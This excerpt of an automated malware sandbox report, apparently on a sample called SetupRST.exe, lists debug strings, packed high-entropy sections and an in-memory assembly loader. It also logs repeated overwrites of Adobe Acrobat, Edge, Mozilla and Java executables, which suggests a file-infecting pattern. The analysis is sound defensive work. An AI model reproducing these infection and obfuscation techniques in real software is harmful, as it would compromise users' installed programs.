Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: alg.exe, 00000004.00000003.1783342935.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: SetupRST.exe, 00000000.00000003.1525013889.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2230108946.0000000001490000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb79-H source: SetupRST.exe, 00000002.00000002.1524593422.000001ED1D51C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 00000004.00000003.1800772704.0000000001640000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1806141112.0000000001450000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\x64\Release\NativeLauncher.pdb source: SetupRST.exe
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: alg.exe, 00000004.00000003.1712506841.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: SetupRST.exe, 00000000.00000003.1464027571.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb(L2TP)NETms_l2tpminiportSWD\GenericSWD\MSRRAS\MS_L2TPMINIPORT{4d36e972-e325-11ce-bfc1-08002be10318}\Device\00000037MicrosoftWAN Miniport (L2TP)netrasa.infMicrosoft20060621000000.****+*WAN Miniport (L2TP)10.0.19041.1Microsoft Windowso source: SetupRST.exe, 00000002.00000002.1524233511.000001ED1D4B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: SetupRST.exe, 00000000.00000003.1487952043.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: SetupRST.exe, 00000000.00000003.1464027571.00000000028E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: SetupRST.exe, 00000000.00000003.1500355060.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1529663155.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: alg.exe, 00000004.00000003.1582820888.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.4.dr
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb79- source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Localization\obj\x64\Release\Localization.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Core\obj\x64\Release\Core.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: alg.exe, 00000004.00000003.1883173957.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: alg.exe, 00000004.00000003.1755347738.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: alg.exe, 00000004.00000003.1712506841.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: alg.exe, 00000004.00000003.1883173957.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: SetupRST.exe.0.dr, Program.cs

.Net Code: Resolve System.Reflection.Assembly.Load(byte[])

Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr

Static PE information: 0x774AE25E [Fri Jun 3 07:25:18 2033 UTC]

Source: SetupRST.exe	Static PE information: section name: _RDATA
Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: alg.exe.0.dr	Static PE information: section name: .didat
Source: FXSSVC.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.0.dr	Static PE information: section name: malloc_h
Source: elevation_service.exe0.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.0.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.0.dr	Static PE information: section name: _RDATA
Source: RstMwService.exe.2.dr	Static PE information: section name: _RDATA
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: section name: .retplne
Source: unpack200.exe.4.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .gxfg
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .retplne
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: _RDATA
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .00cfg
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .gxfg
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .retplne
Source: cookie_exporter.exe.4.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.4.dr	Static PE information: section name: .00cfg
Source: identity_helper.exe.4.dr	Static PE information: section name: .gxfg
Source: identity_helper.exe.4.dr	Static PE information: section name: .retplne
Source: identity_helper.exe.4.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.4.dr	Static PE information: section name: malloc_h
Source: setup.exe.4.dr	Static PE information: section name: .00cfg
Source: setup.exe.4.dr	Static PE information: section name: .gxfg
Source: setup.exe.4.dr	Static PE information: section name: .retplne
Source: setup.exe.4.dr	Static PE information: section name: LZMADEC
Source: setup.exe.4.dr	Static PE information: section name: _RDATA
Source: setup.exe.4.dr	Static PE information: section name: malloc_h
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .00cfg
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .gxfg
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .retplne
Source: msedgewebview2.exe.4.dr	Static PE information: section name: CPADinfo
Source: msedgewebview2.exe.4.dr	Static PE information: section name: LZMADEC
Source: msedgewebview2.exe.4.dr	Static PE information: section name: _RDATA
Source: msedgewebview2.exe.4.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe.4.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe.4.dr	Static PE information: section name: malloc_h
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .00cfg
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .gxfg
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .retplne
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: LZMADEC
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: _RDATA
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: malloc_h
Source: notification_click_helper.exe.4.dr	Static PE information: section name: .00cfg
Source: notification_click_helper.exe.4.dr	Static PE information: section name: .gxfg
Source: notification_click_helper.exe.4.dr	Static PE information: section name: .retplne
Source: notification_click_helper.exe.4.dr	Static PE information: section name: CPADinfo
Source: notification_click_helper.exe.4.dr	Static PE information: section name: _RDATA
Source: notification_click_helper.exe.4.dr	Static PE information: section name: malloc_h
Source: Acrobat.exe.4.dr	Static PE information: section name: .didat
Source: Acrobat.exe.4.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\SetupRST.exe	Code function: 0_2_004D68CE push E9000001h; retn 0000h	0_2_004D68D3
Source: C:\Users\user\Desktop\SetupRST.exe	Code function: 0_2_004D52E3 push E9000001h; retf 0000h	0_2_004D52E8
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B081CB0 pushad ; ret	2_2_00007FFB4B081CCD
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B0800BD pushad ; iretd	2_2_00007FFB4B0800C1
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B1558DA pushad ; retf	2_2_00007FFB4B15592D
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B14782E push ebx; retf	2_2_00007FFB4B14796A
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B14787E push ebx; retf	2_2_00007FFB4B14796A
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B154576 push ss; ret	2_2_00007FFB4B154577
Source: C:\Windows\System32\AppVClient.exe	Code function: 8_2_00BA68CE push E9000001h; retn 0000h	8_2_00BA68D3
Source: C:\Windows\System32\AppVClient.exe	Code function: 8_2_00BA52E3 push E9000001h; retf 0000h	8_2_00BA52E8
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D568CE push E9000001h; retn 0000h	10_2_00D568D3
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D552E3 push E9000001h; retf 0000h	10_2_00D552E8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009968CE push E9000001h; retn 0000h	11_2_009968D3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009952E3 push E9000001h; retf 0000h	11_2_009952E8
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01CD68CE push E9000001h; retn 0000h	12_2_01CD68D3
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01CD52E3 push E9000001h; retf 0000h	12_2_01CD52E8

Source: SetupRST.exe	Static PE information: section name: .reloc entropy: 7.936871527801768
Source: AppVClient.exe.0.dr	Static PE information: section name: .reloc entropy: 7.926378706278058
Source: FXSSVC.exe.0.dr	Static PE information: section name: .reloc entropy: 7.932563396502234
Source: elevation_service.exe.0.dr	Static PE information: section name: .reloc entropy: 7.934113821595996
Source: elevation_service.exe0.0.dr	Static PE information: section name: .reloc entropy: 7.936213207930418
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: section name: .reloc entropy: 7.924965259263039
Source: Aut2exe.exe.4.dr	Static PE information: section name: .rsrc entropy: 7.7981437196775865
Source: Aut2exe_x64.exe.4.dr	Static PE information: section name: .rsrc entropy: 7.797835949981955
Source: AutoIt3_x64.exe.4.dr	Static PE information: section name: .reloc entropy: 7.9342634235367155
Source: SciTE.exe.4.dr	Static PE information: section name: .reloc entropy: 7.906240975238337
Source: jucheck.exe.4.dr	Static PE information: section name: .reloc entropy: 7.9236763045997485
Source: jusched.exe.4.dr	Static PE information: section name: .reloc entropy: 7.928328280893508
Source: 7zFM.exe.4.dr	Static PE information: section name: .reloc entropy: 7.9221696219767646
Source: identity_helper.exe.4.dr	Static PE information: section name: .reloc entropy: 7.930830323913124
Source: setup.exe.4.dr	Static PE information: section name: .reloc entropy: 7.934612389046684
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .reloc entropy: 7.926330481322558
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .reloc entropy: 7.932365691230964
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .reloc entropy: 7.936492109530064
Source: notification_click_helper.exe.4.dr	Static PE information: section name: .reloc entropy: 7.934152775417541
Source: 7zG.exe.4.dr	Static PE information: section name: .reloc entropy: 7.917664577080268
Source: Acrobat.exe.4.dr	Static PE information: section name: .reloc entropy: 7.930108042188642

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\8acd869c9487361.bin

Jump to behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
